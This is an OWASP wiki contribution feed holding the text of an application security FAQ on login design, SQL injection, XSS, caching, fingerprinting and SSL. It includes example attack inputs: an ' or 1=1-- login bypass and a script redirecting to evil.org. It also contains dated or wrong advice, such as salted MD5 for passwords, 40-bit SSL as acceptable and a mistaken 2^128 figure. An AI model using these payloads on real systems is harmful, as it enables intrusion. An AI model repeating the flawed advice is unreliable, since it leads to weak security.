<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Michael+Brooks</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Michael+Brooks"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Michael_Brooks"/>
		<updated>2026-05-06T19:24:38Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Application_Security_FAQ&amp;diff=162925</id>
		<title>OWASP Application Security FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Application_Security_FAQ&amp;diff=162925"/>
				<updated>2013-11-11T02:57:49Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: md5 is a broken primitive and should never be used for password.  The &amp;quot;salted md5 trick&amp;quot;  does not improve security.  HTTPS should be used instead.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Login Issues  =&lt;br /&gt;
&lt;br /&gt;
==What are the best practices I should remember while designing the login pages?  ==&lt;br /&gt;
&lt;br /&gt;
* From the login page, the user should be sent to a page for authentication. Once authenticated, the user should be sent to the next page. This is explained in the answer to the next question. &lt;br /&gt;
* The password should never be sent in clear text (unencrypted) because it can be stolen by sniffing; saving the password in clear text in the database is dangerous too.&lt;br /&gt;
* The best way to manage sessions would be to use one session token with two values during authentication. One value before authentication and one after.&lt;br /&gt;
&lt;br /&gt;
==Is it really required to redirect the user to a new page after login?  ==&lt;br /&gt;
&lt;br /&gt;
Is it really required to redirect the user to a new page after login? &lt;br /&gt;
&lt;br /&gt;
Yes. Consider the application has a login page that sends the username and password as a POST request to the server. If a user clicks refresh on the second page (the page after login), the same request including the username and password in the POST will be sent again. Now suppose a valid user browses through our application and logs out, but does not close the window. The attackers come along and click the back button of the browser till they reach the second page. They only have to do a refresh and since the username and password are resubmitted and revalidated, the attackers can login as the user. Now let's assume the application has a login page which takes the user to an intermediate page for authentication. Once authenticated, the user is redirected to the second page with a session token. In this case, even if the attackers reach the second page and do a refresh, the username and password will not be resubmitted. This is so because the request that will be submitted is the one for the second page which does not contain the username and password. Therefore, it is always better to redirect the user. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How can my &amp;quot;Forgot Password&amp;quot; feature be exploited?  ==&lt;br /&gt;
&lt;br /&gt;
The Forgot Password feature is implemented in a number of different ways. One common way is to ask the user a hint question for which the user has submitted the answer during registration. These are questions like What is your favorite color? or What is your favorite pastime? If the answer is correct, either the original password is displayed or a temporary password is displayed which can be used to log in. In this method, an attacker trying to steal the password of a user may be able to guess the correct answer of the hint question and even reset the password. &lt;br /&gt;
&lt;br /&gt;
==In &amp;quot;Forgot Password&amp;quot;, is it safe to display the old password?  ==&lt;br /&gt;
&lt;br /&gt;
If the old password is displayed on the screen, it can be seen by shoulder surfers. So it is a good idea not to display the password and let the user change to a new one. Moreover, displaying the password means it has to be stored in a recoverable form in the database which is not a good practice. If the password is stored as a one way hash in the database, the only way Forgot Password can be implemented is by letting the user reset the old password. So, it is always better to force the users reset their passwords when they forget their passwords. (A one way hash is the result obtained when we pass a string to a one way hash function. The result is such that it is impossible to get back the original value from it. Passwords are best stored as non-recoverable hashes in the database.) &lt;br /&gt;
&lt;br /&gt;
==Is there any risk in emailing the new password to the user's authorized mail id?  ==&lt;br /&gt;
&lt;br /&gt;
Emailing the actual password in clear text can be risky as an attacker can obtain it by sniffing. Also the mail containing the password might have a long life time and could be viewed by an attacker while it is lying in the mailbox of the user.&lt;br /&gt;
&lt;br /&gt;
Apart form the above threats, a malicious user can do shoulder-surfing to view the password or login credentials.&lt;br /&gt;
&lt;br /&gt;
==What is the most secure way to design the Forgot Password feature?  ==&lt;br /&gt;
&lt;br /&gt;
We should first ask the user to supply some details like personal details or ask a hint question. Then we should send a mail to the users authorized mail id with a link which will take the user to a page for resetting the password. This link should be active for only a short time, and should be SSL- enabled. This way the actual password is never seen. The security benefits of this method are: the password is not sent in the mail; since the link is active for a short time, there is no harm even if the mail remains in the mailbox for a long time. &lt;br /&gt;
&lt;br /&gt;
==How do I protect against automated password guessing attacks?  ==&lt;br /&gt;
&lt;br /&gt;
Password guessing with automated tools is a serious problem since there are a number of tools available for this purpose. These tools essentially keep trying out different passwords till one matches. Locking out the account after 5 failed attempts is a good defense against these tools. However, the important point then is how long you lock out the account for. If it is for too long, service to valid users might be denied as the attackers repeatedly lock out your users. If the time is too short say about 1-2 minutes, the tool could start again after the timeout. So the best method would be to insist on human intervention after a few failed attempts. A method used by a number of sites these days is to have the user read and enter a random word that appears in an image on the page. Since this cannot be done by a tool, we can thwart automated password guessing. The following are some tools that guess passwords of web applications: Brutus - http://www.hoobie.net/brutus/ WebCracker http://www.securityfocus.com/tools/706&lt;br /&gt;
&lt;br /&gt;
==How can I protect against keystroke loggers on the client machine?  ==&lt;br /&gt;
&lt;br /&gt;
Keystroke loggers on the end users machines can sometimes ruin all our efforts of securely transmitting and storing the passwords. The users themselves may not be aware that a key logger has been installed on their machines and records each key pressed. Since the highest risk is with the password, if we can authenticate the users without having them use the keyboard, or reveal the entire password, we solve the problem. The different ways of doing this are: &lt;br /&gt;
&lt;br /&gt;
* Having a graphical keyboard where the users can enter the characters they want by clicking the mouse on it. This is especially useful for numeric PINs. &lt;br /&gt;
* Asking the users to type a part of their password each time and not the whole password. For example you could say &amp;quot;Please enter the 1st, 3rd and 6th letters of your password&amp;quot; and this rule could be a random one each time. &lt;br /&gt;
==My site will be used from publicly shared computers. What precautions must I take?  ==&lt;br /&gt;
&lt;br /&gt;
If your application will be accessed from publicly shared computers like libraries, you could take the following precautions: &lt;br /&gt;
&lt;br /&gt;
* You can make sure your pages do not get cached on the system by setting the correct cache control directives. &lt;br /&gt;
* You could take care that no sensitive information is included in the URLs since the history of the client browser will store these. &lt;br /&gt;
* Have a graphical keyboard for entering the password or ask the user to enter a different part of the password each time. This protects the password against keystroke loggers. &lt;br /&gt;
* To prevent sniffing of passwords and replay attacks using those, you should either use SSL or salted MD5 for passwords. The clear text password in the memory should be reset after computing the MD5. &lt;br /&gt;
=SQL Injection  =&lt;br /&gt;
&lt;br /&gt;
==What is SQL Injection?  ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is a technique by which attackers can execute SQL statements of their choice on the backend database by manipulating the input to the application. Let's understand SQL Injection through the example of a login page in a web application where the database is SQL Server. The user needs to input Username and Password in the text boxes in Login.asp page. Suppose the user enters the following: Username : Obelix and Password : Dogmatix This input is then used to build a query dynamically which would be something like: SELECT * FROM Users WHERE username= 'Obelix' and password='Dogmatix' This query would return to the application a row from the database with the given values. The user is considered authenticated if the database returns one or more rows to the application. Now, suppose an attacker enters the following input in the login page: Username : ' or 1=1-- The query built will look like this: SELECT * FROM Users WHERE username='' or 1=1-- and password='' -- in SQL Server is used to comment out the rest of the line. So, our query is now effectively: SELECT * FROM Users WHERE username='' or 1=1 This query will look in the database for a row where either username is blank or the condition 1=1 is met. Since the latter always evaluates to true, the query will return all rows of the Users table and the user is authenticated. The attacker has been successful in logging into the application without a username and password. You can read more on this at the Securiteam site: http://www.securiteam.com/securityreviews/5DP0N1P76E.html &lt;br /&gt;
&lt;br /&gt;
==Is it just ASP and SQL Server or are all platforms vulnerable?  ==&lt;br /&gt;
&lt;br /&gt;
Almost all platforms are vulnerable to SQL Injection. Inadequate checking of user input and the use of dynamic SQL queries are what make an application vulnerable to these attacks. The syntax of the input entered for SQL Injection will depend on the database being used. During our application security audits we have found many applications using other databases to be vulnerable. The above example would work on SQL Server, Oracle and MySQL. This shows that the problem is with the inadequate checking of user input and the use of dynamic SQL and not the underlying database. &lt;br /&gt;
&lt;br /&gt;
==Apart from username and password which variables are candidates for SQL Injection?  ==&lt;br /&gt;
&lt;br /&gt;
Any input field that makes up the where clause of a database query is a candidate for SQL Injection, eg. account numbers, and credit card numbers in the case of an online banking application. In addition to form fields, an attacker can use hidden fields and query strings also for injecting commands.&lt;br /&gt;
&lt;br /&gt;
Apart from input fields, URL parameters are also vulnerable to SQL Injection as well as other input based attacks.&lt;br /&gt;
&lt;br /&gt;
==How do we prevent SQL Injection in our applications?  ==&lt;br /&gt;
&lt;br /&gt;
It is quite simple to prevent SQL injection while developing the application. You need to check all input coming from the client before building a SQL query. The best method is to remove all unwanted input and accept only expected input. While server side input validation is the most effective method of preventing SQL Injection, the other method of prevention is not using dynamic SQL queries. This can be achieved by using stored procedures or bind variables in databases that support these features. For applications written in Java, CallableStatements and PreparedStatements can be used. For ASP applications, ADO Command Objects can be used. You can check the following article for more on SQL Injection in Oracle: http://www.integrigy.com/info/IntegrigyIntrotoSQLInjectionAttacks.pdf &lt;br /&gt;
&lt;br /&gt;
==I'm using stored procedures for authentication, am I vulnerable?  ==&lt;br /&gt;
&lt;br /&gt;
Maybe, but probably no. Using stored procedures can prevent SQL Injection because the user input is no longer used to build the query dynamically. Since a stored procedure is a group of precompiled SQL statements and the procedure accepts input as parameters, a dynamic query is avoided. Although input is put into the precompiled query as is, since the query itself is in a different format, it does not have the effect of changing the query as expected. By using stored procedures we are letting the database handle the execution of the query instead of asking it to execute a query we have built. The exception to this is where the stored procedure takes a string as input and uses this string to build the query without validating it. While this is more difficult to exploit, this scenario still often leads to successful SQL Injection. This article explains how SQL Injection affects stored procedures in more detail: http://palisade.plynt.com/issues/2006Jun/injection-stored-procedures/&lt;br /&gt;
&lt;br /&gt;
==I'm using client side JavaScript code for checking user input. Isn't that enough?  ==&lt;br /&gt;
&lt;br /&gt;
No. Although client side checking disallows the attacker to enter malicious data directly into the input fields, that alone is not enough to prevent SQL Injection. Client side scripts only check for input in the browser. But this does not guarantee that the information will remain the same till it reaches the server. To bypass client side JavaScript, the attacker can trap the request in a proxy (eg. WebScarab, [http://www.parosproxy.org Paros]) after it leaves the browser and before it reaches the server and there he can alter input fields. The attacker can also inject commands into the querystring variables which are not checked by the client side scripts, or could disable JavaScript rendering client-side scripting useless.&lt;br /&gt;
&lt;br /&gt;
==Are Java servlets vulnerable to SQL injection?  ==&lt;br /&gt;
&lt;br /&gt;
Yes, they are if the user input is not checked properly, and if they build SQL queries dynamically. But Java servlets also have certain features that prevent SQL Injection like CallableStatements and PreparedStatements. Like stored procedures and bind variables, they avoid the need of dynamic SQL statements.&lt;br /&gt;
&lt;br /&gt;
==Can an automated scanner discover SQL Injection? ==&lt;br /&gt;
&lt;br /&gt;
Sometimes yes, sometimes no. Whether a scanner can discover SQL injection or not depends on a variety of factors: the discovery technique used, the response from the application when a malformed SQL snippet is added, and some luck. Specifically, scanners that use Blind SQL Injection are most likely to detect SQL Injection. Scanners that claim hundreds of test cases for SQL Injection are misleading. This entry from the [http://www.plynt.com/resources/learn/tools/do_scanners_catch_sql_injectio_1/  Penetration Testing Learning Center] explains this in detail.&lt;br /&gt;
&lt;br /&gt;
=Variable Manipulation  =&lt;br /&gt;
&lt;br /&gt;
==Why can't I trust the information coming from the browser?  ==&lt;br /&gt;
&lt;br /&gt;
There are chances that the information is modified before it reaches the server. Attackers browsing the site can manipulate the information in a GET or POST request. There are a number of HTTP/HTTPS proxy tools like [http://www.mavensecurity.com/achilles Achilles], Paros, WebScarab, etc which are capable of intercepting all this information and allow the attacker running the tool to modify it. Also, the information that the user sees or provides on a web page has to travel through the internet before it reaches the server. Although the client and the server may be trusted, we cannot be sure that the information is not modified after it leaves the browser. Attackers can capture the information on the way and manipulate it.&lt;br /&gt;
&lt;br /&gt;
==What information can be manipulated by the attacker?  ==&lt;br /&gt;
&lt;br /&gt;
Manipulating the variables in the URL is simple. But attackers can also manipulate almost all information going from the client to the server like form fields, hidden fields, content-length, session-id and http methods.&lt;br /&gt;
&lt;br /&gt;
==How do attackers manipulate the information? What tools do they use?  ==&lt;br /&gt;
&lt;br /&gt;
For manipulating any information, including form fields, hidden variables and cookies, attackers use tools known as HTTP/HTTPS proxy tools. Once the browser's proxy settings are configured to go through the HTTP/HTTPS proxy, the tool can see all information flowing between the client and the server; it even allows the attacker to modify any part of the request before sending it. Some such tools are: WebScarab can be downloaded from the OWASP site. Odysseus can be found at http://www.bindshell.net/tools/odysseus Paros can be downloaded from http://www.parosproxy.org&lt;br /&gt;
&lt;br /&gt;
==I'm using SSL. Can attackers still modify information?  ==&lt;br /&gt;
&lt;br /&gt;
Although SSL provides a lot of security, SSL alone is not enough to prevent variable manipulation attacks. SSL was supposed to prevent against Man in the Middle attacks but it is vulnerable to it. To successfully carry out the MITM attack, first the attacker has to divert the victim's requests to his machine i.e. redirecting the packets meant for the server to himself. He can do this by ARP poisoning / DNS Cache poisoning. Once he is able to redirect, he can see all the requests the victim is trying to make. Now when the victim tries to establish an SSL connection with a legitimate server, he gets connected to the attacker. The attacker, during the SSL Handshaking, provides a fake certificate to the victim, which the victim accepts even though the browser warns him. Thus, the victim establishes an SSL connection with the attacker instead of the server. The attacker establishes a different SSL connection with that legitimate server, which the victim was trying to connect. Now all data flow between the victim and the server will be routed through the attacker and the attacker can see all data the victim (as well as the server) sends. This is because the victim will encrypt all data with the attacker's public key, which the attacker can decrypt with his private key. The attacker can then manipulate all data that is passing through his machine.&lt;br /&gt;
&lt;br /&gt;
==Is there some way to prevent these proxy tools from editing the data?  ==&lt;br /&gt;
&lt;br /&gt;
The main threat these proxy tools pose is editing the information sent from the client to the server. One way to prevent it is to sign the message sent from the client with a Java Applet downloaded onto the client machine. Since the applet we developed will be the one validating the certificate and not the browser, a proxy tool will not be able to get in between the client and the server with a fake certificate. The applet will reject the fake certificate. The public key of this certificate can then be used to digitally sign each message sent between the client and the server. An attacker would then have to replace the embedded certificate in the applet with a fake certificate to succeed - that raises the barrier for the attacker. &lt;br /&gt;
&lt;br /&gt;
=Browser Cache  =&lt;br /&gt;
&lt;br /&gt;
==How can the browser cache be used in attacks?  ==&lt;br /&gt;
&lt;br /&gt;
The browser has a capability to temporarily store some of the pages browsed. These cached files are stored in a folder, like the Temporary Internet Files folder in the case of Internet Explorer. When we ask for these pages again, the browser displays them from its cache. This is much faster than downloading the page from the server. Let's consider the particular scenario where a user has logged in to an application with username and password. The user browses the different pages which contain sensitive information. Let's suppose a page with the user's credit card information gets cached in the browser and the user logs out of the application. Now suppose the attackers access the same machine and searches through the Temporary Internet Files, they will get the credit card details. The attackers do not need to know the username and password of the user to steal the information. &lt;br /&gt;
&lt;br /&gt;
==How do I ensure that sensitive pages are not cached on the user's browser?  ==&lt;br /&gt;
&lt;br /&gt;
The response header sent from the server has some cache control directives that can be set from your code. These directives control the caching of content on any cache. The directives to be set are Cache-Control : no-cache, no-store and Expires: 0. But since legacy HTTP 1.0 servers do not support the Cache-Control headers, universally, Pragma: no-cache header should be used, too.&lt;br /&gt;
&lt;br /&gt;
==What's the difference between the cache-control directives: no-cache, and no-store?  ==&lt;br /&gt;
&lt;br /&gt;
The no-cache directive in a response indicates that the response must not be used to serve a subsequent request i.e. the cache must not display a response that has this directive set in the header but must let the server serve the request. The no-cache directive can include some field names; in which case the response can be shown from the cache except for the field names specified which should be served from the server. The no-store directive applies to the entire message and indicates that the cache must not store any part of the response or any request that asked for it. &lt;br /&gt;
&lt;br /&gt;
==Am I totally safe with these directives?  ==&lt;br /&gt;
&lt;br /&gt;
No. But generally, use both Cache-Control: no-cache, no-store and Pragma: no-cache, in addition to Expires: 0 (or a sufficiently backdated GMT date such as the UNIX epoch).  Non-html content types like pdf, word documents, excel spreadsheets, etc often get cached even when the above cache control directives are set (although this varies by version and additional use of must-revalidate, pre-check=0, post-check=0, max-age=0, and s-maxage=0 in practice can sometimes result at least in file deletion upon browser closure in some cases due to browser quirks and HTTP implementations). Also, 'Autocomplete' feature allows a browser to cache whatever the user types in an input field of a form. To check this, the form tag or the individual input tags should include 'Autocomplete=&amp;quot;Off&amp;quot; ' attribute. However, it should be noted that this attribute is non-standard (although it is supported by the major browsers) so it will break XHTML validation.&lt;br /&gt;
&lt;br /&gt;
==Where can I learn more about caching?  ==&lt;br /&gt;
&lt;br /&gt;
Some useful links that talk about caching are - Caching Tutorial for Web Authors and Webmasters by Mark Nottingham at http://www.mnot.net/cache_docs/ and HTTP RFC (sec14.9.1) at http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html&lt;br /&gt;
&lt;br /&gt;
=Cross Site Scripting  =&lt;br /&gt;
&lt;br /&gt;
==What is Cross Site Scripting?  ==&lt;br /&gt;
&lt;br /&gt;
Cross Site scripting (XSS) is a type of attack that can be carried out to steal sensitive information belonging to the users of a web site. This relies on the server reflecting back user input without checking for embedded javascript. This can be used to steal cookies and session IDs. Let's see how it works. We would all have come across the following situation sometime - we type a URL in the browser, say www.abcd.com/mypage.asp, and receive an error page that says &amp;quot;Sorry www.abcd.com/mypage.asp does not exist&amp;quot; or a page with a similar message. In other words, pages that display the user input back on the browser. Pages like this could be exploited using XSS. Instead of a normal input, think what will happen if the input contains a script in it. While reflecting back the input, instead of rendering it as normal HTML output, the browser treats it as a script and executes it. This script could contain some malicious code. The attackers can send a link that contains a script as part of the URL to a user. When the user clicks it, the script gets executed on the user's browser. This script may have been written to collect important information about the user and send it to the attacker. Kevin Spett's paper Cross Site Scripting, Are your web applications vulnerable? is a good source of information on this topic and is available at http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf The Cross Site Scripting FAQ at CGI Security is another good place to learn more on XSS. &lt;br /&gt;
&lt;br /&gt;
==What information can an attacker steal using XSS?  ==&lt;br /&gt;
&lt;br /&gt;
The attackers can steal the session ID of a valid user using XSS. The session ID is very valuable because it is the secret token that the user presents after login as proof of identity until logout. If the session ID is stored in a cookie, the attackers can write a script which will run on the user's browser, query the value in the cookie and send it to the attackers. The attackers can then use the valid session ID to browse the site without logging in. The script could also collect other information from the page, including the entire contents of the page. &lt;br /&gt;
&lt;br /&gt;
==Apart from mailing links of error pages, are there other methods of exploiting XSS?  ==&lt;br /&gt;
&lt;br /&gt;
Yes, there are other methods. Let's take the example of a bulletin board application that has a page where data entered by one user can be viewed by other users. The attackers enter a script into this page. When a valid user tries to view the page, the script gets executed on the user's browser. It will send the user's information to the attackers. &lt;br /&gt;
&lt;br /&gt;
==How can I prevent XSS?  ==&lt;br /&gt;
&lt;br /&gt;
XSS can be prevented while coding the application. You should be validating all input and output to and from the application and escape all special characters that may be used in a script. If the code replaces the special characters by the following before displaying the output, XSS can be prevented to some extent.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;   &amp;amp;lt;&lt;br /&gt;
&lt;br /&gt;
&amp;gt;   &amp;amp;gt; &lt;br /&gt;
&lt;br /&gt;
(   &amp;amp;*40; &lt;br /&gt;
&lt;br /&gt;
)   &amp;amp;*41; &lt;br /&gt;
&lt;br /&gt;
*   &amp;amp;*35; &lt;br /&gt;
&amp;amp;   &amp;amp;*38;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Gunter Ollmann has written an excellent paper on the use of special characters in XSS attacks. For instance, the above technique of escaping special characters cannot protect against a script injected like &amp;quot;javascript:self.location.href = 'www.evil.org' &amp;quot; as this script does not use any of the special characters.&lt;br /&gt;
&lt;br /&gt;
==Can XSS be prevented without modifying the source code?  ==&lt;br /&gt;
&lt;br /&gt;
There is a method that requires minimal coding as compared to performing input, output validation to prevent the stealing of cookies by XSS. Internet Explorer 6 has an attribute called HTTP Only that can be set for cookies. Using this attribute makes sure that the cookie can not be accessed by any scripts. More details are available at the MSDN site on httpcookies at http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/httponly_cookies.asp Mozilla also has plans to implement a similar feature. Researchers have found a method to beat this. It is known as Cross Site Tracing. &lt;br /&gt;
&lt;br /&gt;
==What is Cross Site Tracing (XST)? How can it be prevented?  ==&lt;br /&gt;
&lt;br /&gt;
Attackers are able to bypass the HTTP Only attribute to steal cookie information by Cross Site tracing (XST). TRACE is a HTTP method that can be sent to the server. The server sends back anything included in the TRACE request back to the browser. In a site that uses cookies, the cookie information is sent to the server in each request. If we send a TRACE request in a URL of such a site, the server will send back all cookie information to the browser. Now imagine a situation similar to the one described in XSS but the site in this case is using the HTTP Only cookies. The attackers make a valid user click on a link that contains a script that calls the TRACE method. When the user clicks on the link the TRACE request as well as all the cookie information is sent to the server. The server then sends back the cookie information back to the script in the browser. Suppose that the malicious script also contains code to send this information to the attackers. The attackers have succeeded again in stealing the cookies although HTTP Only Cookies were used. To summarize, HTTP Only cookies prevent the JavaScript from directly accessing the cookies but the attacker was able to retrieve it through an indirect method. XST can be prevented by disabling the TRACE method on the web server. This paper by Jeremiah Grossman discusses XST in greater detail http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf &lt;br /&gt;
&lt;br /&gt;
=Web Server Fingerprinting  =&lt;br /&gt;
&lt;br /&gt;
==How do attackers identify which web server I'm using?  ==&lt;br /&gt;
&lt;br /&gt;
Identifying the application running on a remote web server is known as fingerprinting the server. The simplest way to do this is to send a request to the server and see the banner sent in the response. Banners will generally have the server name and the version number in it. We can address this problem by either configuring the server not to display the banner at all or by changing it to make the server look like something else.&lt;br /&gt;
&lt;br /&gt;
==How can I fake the banners or rewrite the headers from my web server?  ==&lt;br /&gt;
&lt;br /&gt;
There are a number of tools that help in faking the banners. URLScan is a tool that can change the banner of an IIS web server. http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/tools/URLScan.asp mod_security has a feature for changing the identity of the Apache web server. It can be found at http://www.modsecurity.org/ Servermask for faking banners of IIS, can be found at http://www.servermask.com/ &lt;br /&gt;
&lt;br /&gt;
==Once I fake the banners, can my web server still be fingerprinted?  ==&lt;br /&gt;
&lt;br /&gt;
Yes. Unfortunately there are tools that fingerprint the web server without relying on the banners. Different web servers may implement features not specified in HTTP RFCs differently. Suppose we make a database of these special requests and the responses of each web server. We can now send these requests to the web server we want to fingerprint and compare the responses with the database. This is the technique used by tools like Fire &amp;amp; Water. This tool can be found at http://www.ntobjectives.com/products/firewater/ There is a paper by Saumil Shah that discusses the tool httprint at http://net-square.com/httprint/httprint_paper.html httprint can be found at http://net-square.com/httprint/ &lt;br /&gt;
&lt;br /&gt;
==A friend told me it's safer to run my web server on a non-standard port. Is that right?  ==&lt;br /&gt;
&lt;br /&gt;
A web server generally needs to be accessed by a lot of people on the internet. Since it normally runs on port 80 and all browsers are configured to access port 80 of the web server, users are able to browse the site. If we change the port, the users will have to specify the port in addition to the domain name. But this is a good idea for an intranet application where all users know where to connect. It is more secure since the web server will not be targeted by automated attacks like worms that scan port 80 and other standard ports. &lt;br /&gt;
&lt;br /&gt;
==Should I really be concerned that my web server can be fingerprinted?  ==&lt;br /&gt;
&lt;br /&gt;
Well, there are two schools of thought here. According to the first school, yes you should take precaution against fingerprinting as correctly identiying the web server maybe the first step in a more dangerous attack. Once attackers have found out that the web server is say IIS 5, they will search for known vulnerabilities for IIS 5. If the web server is not patched for all known vulnerabilities or the attackers find one for which a patch has not been released yet, there is nothing to stop them from attacking it. Also automated tools and worms can be fooled by changing the version information. Some determined and focused attackers might go to additional lengths to identify the server but the hurdles that the attackers have to overcome have increased when it's more difficult to fingerprint the web server name and version. Jeremiah Grossman pointed out the other school of thought. Evasive measures are futile as any scanner targeting a web site, will normally not care what the web server is. The scanner will run ALL its tests no matter if they apply to the system or not. This is a typical shotgun approach. A bad guy targeting the site might be hampered by not knowing the exact version, but if he's determined he would still try out all related exploits and try to break in. &lt;br /&gt;
&lt;br /&gt;
=Testing  =&lt;br /&gt;
&lt;br /&gt;
==I want to chain my proxy tool with a proxy server; are there tools that let me do that?  ==&lt;br /&gt;
&lt;br /&gt;
Yes, there are several tools that allow proxy chaining. Some of these are: WebScarab - http://www.owasp.org/development/webscarab Exodus - http://home.intekom.com/rdawes/exodus.html Odysseus - http://www.wastelands.gen.nz/odysseus/index.php &lt;br /&gt;
&lt;br /&gt;
==Can't web application testing be automated? Are there any tools for that?  ==&lt;br /&gt;
&lt;br /&gt;
There are tools that scan applications for security flaws. But these tools can only look for a limited number of vulnerabilities, and do not find all the problems in the application. Moreover, a lot of attacks require understanding of the business context of the application to decide on the variables to manipulate in a particular request, which a tool is incapable of doing. A presentation by Jeremiah Grossman of White Hat Security which talks about the [http://www.blackhat.com/presentations/bh-federal-03/bh-fed-03-grossman-up.pdf limitations of automated scanning]. &lt;br /&gt;
&lt;br /&gt;
This piece explains [http://www.plynt.com/resources/learn/tools/what_cant_a_scanner_find_1/ what a scanner can't find].&lt;br /&gt;
&lt;br /&gt;
In our tests using a slightly modified WebGoat the best Black-box scanning tool found less than 20% of the issues ! Some tools for automated scanning are: SpikeProxy, open source and freely available at http://www.immunitysec.com/spikeproxy.html WebInspect, can be found at http://www.spidynamics.com/productline/WE_over.html&lt;br /&gt;
&lt;br /&gt;
==Where can I try out my testing skills? Is there a sample application I can practice with?  ==&lt;br /&gt;
&lt;br /&gt;
OWASP provides a sample application that can be used for this purpose called . As the site says, the WebGoat project's goal is to teach web security in an interactive teaching environment. There are lessons on most of the common vulnerabilities. Another interesting site is Hackingzone which has a game on SQL Injection at http://www.hackingzone.org/sql/index.php &lt;br /&gt;
&lt;br /&gt;
==Are there source code scanning tools for .NET languages, Java, PHP etc that predict vulnerabilities in the source code?  ==&lt;br /&gt;
&lt;br /&gt;
Rough Auditing Tool for Security (RATS) is a tool that scans the source code for security flaws in C, C++, Python, Perl and PHP programs. It can be found at http://code.google.com/p/rough-auditing-tool-for-security/downloads/list FX Cop was created by the Microsoft Team at the GotDotNet community site to check for the .NET Frameowork guidelines which include security. Prexis is a commercial source code and run-time analyzer. Flawfinder is a static source code analyzer. Compaq ESC is a run-time analyzer for Java. Parasoft AEP is a commercial source code analyzer for Java. Fortify SCA from Fortify Software is another source code analyzer that supports mixed language analysis of C, C++, C#, ASP.NET, Java, JSP, PL/SQL, VB.NET, XML, etc. Secure Coding plugins are also available. Similar source code analyzers are Klocwork K7 for C, C++ and Java; Coverity Prevent for detecting security violations and defects in code; Ounce Solutions for C, C++, C#, ASP.NET, Java and JSP. We would like to know about more tools for scanning source code. If you know about any, please inform us and we'll add to this FAQ&lt;br /&gt;
&lt;br /&gt;
==Can non-HTTP protocols also be intercepted and played with like this?  ==&lt;br /&gt;
&lt;br /&gt;
Yes, Interactive TCP Replay is a tool that acts as a proxy for non-HTTP applications and also allows modifying the traffic. It allows editing of the messages in a hex editor. ITR also logs all the messages passing between the client and the server. It can use different types of character encoding like ASCII or EBCDIC for editing and logging. More information on this can be found at http://www.webcohort.com/web_application_security/research/tools.html &lt;br /&gt;
&lt;br /&gt;
=Cryptography/SSL  =&lt;br /&gt;
&lt;br /&gt;
==What is SSL?  ==&lt;br /&gt;
&lt;br /&gt;
Secure Socket Layer (SSL) gives us assurance of two things. Firstly when a client connects to a web server, the client can be sure that it is talking to the right server by checking the certificate the server sends it. Secondly, SSL assures you of the confidentiality of the data, as the client and the server exchange encrypted messages that cannot be understood by anybody else. This is how SSL works: When the client requests for a SSL page, the server sends a certificate that it has obtained from a trusted certificate authority. This certificate contains the public key of the server. After satisfying itself that the certificate is correct and the server is a genuine one, the client generates one random number, the session key. This key is encrypted by the public key of the server and sent across. The server decrypts the message with its private key. Now both sides have a session key known only to the two of them. All communication to and fro is encrypted and decrypted with the session key. An interesting link on SSL is http://www.rsasecurity.com/standards/ssl/basics.html &lt;br /&gt;
&lt;br /&gt;
==Should I use 40-bit or 128-bit SSL?  ==&lt;br /&gt;
&lt;br /&gt;
There are 2 strengths in SSL - 40-bit and 128-bit. These refer to the length of the secret key used for encrypting the session. This key is generated for every SSL session and is used to encrypt the rest of the session. The longer the key the more difficult it is to break the encrypted data. So, 128-bit encryption is much more secure than 40-bit. Most browsers today support 128-bit encryption. There are a few countries which have browsers with only 40-bit support. In case you are using 40-bit SSL, you may need to take further precautions to protect sensitive data. Salted hash for transmitting passwords is a good technique. This ensures that the password can not be stolen even if the SSL key is broken. &lt;br /&gt;
&lt;br /&gt;
==Is 40-bit SSL really unsafe?  ==&lt;br /&gt;
&lt;br /&gt;
40-bit SSL is not really unsafe. It's just that it is computationally feasible to break the key used in 40-bit but not the key used in 128-bit. Even though 40-bit can be broken, it takes a fairly large number of computers to break it. Nobody would even attempt to do that for a credit card number or the like. But there are claims of breaking the 40-bit RC4 key in a few hours. So depending on the data your application deals with, you can decide on the SSL strength. Using 128-bit is definitely safer.&lt;br /&gt;
&lt;br /&gt;
With home computers gtting faster day by day, a dedicated, expensive and very fast computer can break 40-bit encryption in few minutes (ideally testing a million keys per second). On the other hand, 128-bit encryotion will have about 339,000,000,000,000,000,000,000,000,000,000,000 (Couple of Trillions or 2^128) possible key combinations and it will take around 1000 Years to break 128-bit encryptions with the help of a cluster of very fast computers.&lt;br /&gt;
&lt;br /&gt;
==What all are encrypted when I use SSL? Is the page request also encrypted?  ==&lt;br /&gt;
&lt;br /&gt;
After the initial SSL negotiation is done and the connection is on HTTPS, everything is encrypted including the page request. So any data sent in the query string will also be encrypted. &lt;br /&gt;
&lt;br /&gt;
==Which cryptographic algorithms do SSL use?  ==&lt;br /&gt;
&lt;br /&gt;
SSL supports a number of cryptographic algorithms. During the initial &amp;quot;handshaking&amp;quot; phase, it uses the RSA public key algorithm. For encrypting the data with the session key the following algorithms are used - RC2, RC4, IDEA, DES, triple-DES and MD5 message digest algorithm. &lt;br /&gt;
&lt;br /&gt;
==I want to use SSL. Where do I begin?  ==&lt;br /&gt;
&lt;br /&gt;
There are several Certificate Authorities that you can buy a SSL certificate from. Whichever CA you choose, the basic procedure will be as follows - &lt;br /&gt;
